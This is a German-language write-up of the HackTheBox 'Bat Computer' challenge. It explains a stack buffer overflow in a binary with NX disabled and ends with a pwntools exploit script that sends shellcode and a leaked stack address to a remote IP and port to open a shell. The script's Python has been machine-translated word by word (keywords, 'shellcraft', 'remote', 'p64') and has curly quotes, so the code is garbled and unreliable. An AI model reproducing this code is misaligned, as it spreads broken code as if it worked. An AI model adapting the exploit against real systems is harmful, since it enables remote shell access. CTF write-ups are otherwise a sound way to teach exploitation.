Wir haben eine Binärdatei abgedeckt, bei der nur PIE oder Position Independent Executable als Schutz aktiviert ist, während NX deaktiviert ist. Wir haben die Binärdatei mit Ghidra und GDB analysiert. Wir haben festgestellt, dass die Binärdatei die Speicheradresse der Variable preisgibt, die zum Speichern der Benutzereingabe verwendet wird. Darauf basierend haben wir auch festgestellt, dass die Binärdatei bis zu 137 Bytes Benutzereingabe liest und in einer Variable speichert, deren Puffergröße 76 Bytes beträgt, was die Hauptschwachstelle dieser App darstellt. Wir haben darauf basierend einen Segmentierungsfehler verursacht und festgestellt, dass der Offset 84 Bytes beträgt. Basierend auf der obigen Analyse haben wir das Ausnutzungsskript erstellt, das den Verbindungsparameter und die endgültige Nutzlast enthält. Dies war Teil von HackTheBox Bat Computer | Einführung in die binäre Ausnutzung
Hinweise zu Pufferüberlauftechniken
Der Exploit-Code ist unten
##Anfang
aus pwn importieren *
Kontext.binär = ELF('./batcomputer')
con = Fernbedienung(‘157.245.39.76’,31662)
Mit.Sendeleitung(‘1’)
Mit.zurückrufen('0x')
Stapelbasis = int((„0x“+con.Empfang().dekodieren('lateinisch-1').Teilt()[0]),16)
Protokoll.Erfolg(F'Stapelbasis: {verhexen(Stapelbasis)}‘)
Mit.Sendeleitung(‘2’)
Mit.Sendeleitung(„b4tp@$$w0rd!“)
Nutzlast = asm(Muschelhandwerk.papa() + Muschelhandwerk.Sch()) #-Shellcode
Nutzlast += B'A'*(84 – len(Nutzlast)) # nein
Nutzlast += Seite 64(Stapelbasis) # Stapelbasis
Mit.Sendeleitung(Nutzlast)
Mit.Sendeleitung(‘3’)
Mit.interaktiv()
##Ende
Video-Komplettlösung